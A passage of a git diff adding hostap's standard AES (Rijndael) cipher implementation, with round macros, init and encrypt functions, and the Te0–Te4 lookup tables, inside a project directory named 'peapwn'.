12) ^ rk[3]; + +#define ROUND(i,d,s) \ +d##0 = TE0(s##0) ^ TE1(s##1) ^ TE2(s##2) ^ TE3(s##3) ^ rk[4 * i]; \ +d##1 = TE0(s##1) ^ TE1(s##2) ^ TE2(s##3) ^ TE3(s##0) ^ rk[4 * i + 1]; \ +d##2 = TE0(s##2) ^ TE1(s##3) ^ TE2(s##0) ^ TE3(s##1) ^ rk[4 * i + 2]; \ +d##3 = TE0(s##3) ^ TE1(s##0) ^ TE2(s##1) ^ TE3(s##2) ^ rk[4 * i + 3] + +#ifdef FULL_UNROLL + + ROUND(1,t,s); + ROUND(2,s,t); + ROUND(3,t,s); + ROUND(4,s,t); + ROUND(5,t,s); + ROUND(6,s,t); + ROUND(7,t,s); + ROUND(8,s,t); + ROUND(9,t,s); + if (Nr > 10) { + ROUND(10,s,t); + ROUND(11,t,s); + if (Nr > 12) { + ROUND(12,s,t); + ROUND(13,t,s); + } + } + + rk += Nr << 2; + +#else /* !FULL_UNROLL */ + + /* Nr - 1 full rounds: */ + r = Nr >> 1; + for (;;) { + ROUND(1,t,s); + rk += 8; + if (--r == 0) + break; + ROUND(0,s,t); + } + +#endif /* ?FULL_UNROLL */ + +#undef ROUND + + /* + * apply last round and + * map cipher state to byte array block: + */ + s0 = TE41(t0) ^ TE42(t1) ^ TE43(t2) ^ TE44(t3) ^ rk[0]; + PUTU32(ct , s0); + s1 = TE41(t1) ^ TE42(t2) ^ TE43(t3) ^ TE44(t0) ^ rk[1]; + PUTU32(ct + 4, s1); + s2 = TE41(t2) ^ TE42(t3) ^ TE43(t0) ^ TE44(t1) ^ rk[2]; + PUTU32(ct + 8, s2); + s3 = TE41(t3) ^ TE42(t0) ^ TE43(t1) ^ TE44(t2) ^ rk[3]; + PUTU32(ct + 12, s3); +} + + +void * aes_encrypt_init(const u8 *key, size_t len) +{ + u32 *rk; + int res; + rk = os_malloc(AES_PRIV_SIZE); + if (rk == NULL) + return NULL; + res = rijndaelKeySetupEnc(rk, key, len * 8); + if (res < 0) { + os_free(rk); + return NULL; + } + rk[AES_PRIV_NR_POS] = res; + return rk; +} + + +void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt) +{ + u32 *rk = ctx; + rijndaelEncrypt(ctx, rk[AES_PRIV_NR_POS], plain, crypt); +} + + +void aes_encrypt_deinit(void *ctx) +{ + os_memset(ctx, 0, AES_PRIV_SIZE); + os_free(ctx); +} diff --git a/peapwn/mods/hostap/src/crypto/aes-internal.c b/peapwn/mods/hostap/src/crypto/aes-internal.c new file mode 100644 index 000000000..bd4535d20 --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/aes-internal.c @@ -0,0 +1,845 @@ +/* + * AES (Rijndael) cipher + * + * Modifications to public domain implementation: + * - cleanup + * - use C pre-processor to make it easier to change S table access + * - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at + * cost of reduced throughput (quite small difference on Pentium 4, + * 10-25% when using -O1 or -O2 optimization) + * + * Copyright (c) 2003-2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto.h" +#include "aes_i.h" + +/* + * rijndael-alg-fst.c + * + * @version 3.0 (December 2000) + * + * Optimised ANSI C code for the Rijndael cipher (now AES) + * + * @author Vincent Rijmen + * @author Antoon Bosselaers + * @author Paulo Barreto + * + * This code is hereby placed in the public domain. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS + * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR + * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE + * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + + +/* +Te0[x] = S [x].[02, 01, 01, 03]; +Te1[x] = S [x].[03, 02, 01, 01]; +Te2[x] = S [x].[01, 03, 02, 01]; +Te3[x] = S [x].[01, 01, 03, 02]; +Te4[x] = S [x].[01, 01, 01, 01]; + +Td0[x] = Si[x].[0e, 09, 0d, 0b]; +Td1[x] = Si[x].[0b, 0e, 09, 0d]; +Td2[x] = Si[x].[0d, 0b, 0e, 09]; +Td3[x] = Si[x].[09, 0d, 0b, 0e]; +Td4[x] = Si[x].[01, 01, 01, 01]; +*/ + +const u32 Te0[256] = { + 0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU, + 0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U, + 0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU, + 0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU, + 0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U, + 0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU, + 0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU, + 0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU, + 0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU, + 0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU, + 0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U, + 0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU, + 0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU, + 0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U, + 0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU, + 0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU, + 0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU, + 0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU, + 0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU, + 0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U, + 0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU, + 0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU, + 0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU, + 0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU, + 0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U, + 0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U, + 0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U, + 0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U, + 0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU, + 0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U, + 0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U, + 0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU, + 0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU, + 0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U, + 0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U, + 0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U, + 0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU, + 0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U, + 0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU, + 0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U, + 0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU, + 0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U, + 0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U, + 0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU, + 0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U, + 0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U, + 0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U, + 0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U, + 0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U, + 0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U, + 0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U, + 0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U, + 0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU, + 0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U, + 0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U, + 0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U, + 0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U, + 0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U, + 0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U, + 0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU, + 0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U, + 0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U, + 0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U, + 0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU, +}; +#ifndef AES_SMALL_TABLES +const u32 Te1[256] = { + 0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU, + 0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U, + 0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU, + 0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U, + 0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU, + 0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U, + 0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU, + 0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U, + 0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U, + 0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU, + 0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U, + 0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U, + 0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U, + 0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU, + 0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U, + 0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U, + 0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU, + 0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U, + 0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U, + 0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U, + 0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU, + 0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU, + 0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U, + 0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU, + 0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU, + 0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U, + 0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU, + 0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U, + 0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU, + 0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U, + 0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U, + 0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U, + 0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU, + 0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U, + 0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU, + 0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U, + 0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU, + 0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U, + 0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U, + 0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU, + 0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU, + 0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU, + 0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U, + 0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U, + 0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU, + 0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U, + 0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU, + 0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U, + 0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU, + 0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U, + 0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU, + 0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU, + 0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U, + 0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU, + 0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U, + 0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU, + 0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U, + 0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U, + 0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U, + 0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU, + 0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU, + 0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U, + 0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU, + 0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U, +}; +const u32 Te2[256] = { + 0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU, + 0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U, + 0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU, + 0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U, + 0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU, + 0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U, + 0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU, + 0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U, + 0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U, + 0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU, + 0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U, + 0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U, + 0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U, + 0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU, + 0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U, + 0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U, + 0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU, + 0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U, + 0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U, + 0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U, + 0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU, + 0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU, + 0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U, + 0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU, + 0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU, + 0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U, + 0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU, + 0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U, + 0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU, + 0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U, + 0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U, + 0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U, + 0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU, + 0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U, + 0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU, + 0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U, + 0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU, + 0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U, + 0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U, + 0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU, + 0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU, + 0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU, + 0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U, + 0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U, + 0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU, + 0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U, + 0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU, + 0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U, + 0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU, + 0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U, + 0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU, + 0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU, + 0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U, + 0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU, + 0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U, + 0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU, + 0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U, + 0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U, + 0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U, + 0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU, + 0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU, + 0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U, + 0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU, + 0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U, +}; +const u32 Te3[256] = { + + 0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U, + 0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U, + 0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U, + 0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU, + 0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU, + 0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU, + 0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U, + 0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU, + 0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU, + 0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U, + 0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U, + 0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU, + 0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU, + 0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU, + 0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU, + 0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU, + 0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U, + 0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU, + 0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU, + 0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U, + 0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U, + 0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U, + 0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U, + 0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U, + 0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU, + 0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U, + 0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU, + 0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU, + 0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U, + 0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U, + 0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U, + 0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU, + 0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U, + 0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU, + 0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU, + 0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U, + 0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U, + 0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU, + 0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U, + 0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU, + 0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U, + 0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U, + 0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U, + 0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U, + 0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU, + 0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U, + 0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU, + 0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U, + 0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU, + 0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U, + 0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU, + 0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU, + 0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU, + 0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU, + 0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U, + 0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U, + 0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U, + 0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U, + 0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U, + 0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U, + 0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU, + 0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U, + 0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU, + 0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU, +}; +const u32 Te4[256] = { + 0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU, + 0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U, + 0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU, + 0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U, + 0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU, + 0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U, + 0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU, + 0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U, + 0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U, + 0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU, + 0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U, + 0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U, + 0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U, + 0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU, + 0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U, + 0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U, + 0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU, + 0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U, + 0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U, + 0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U, + 0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU, + 0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU, + 0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U, + 0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU, + 0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU, + 0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U, + 0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU, + 0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U, + 0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU, + 0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U, + 0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U, + 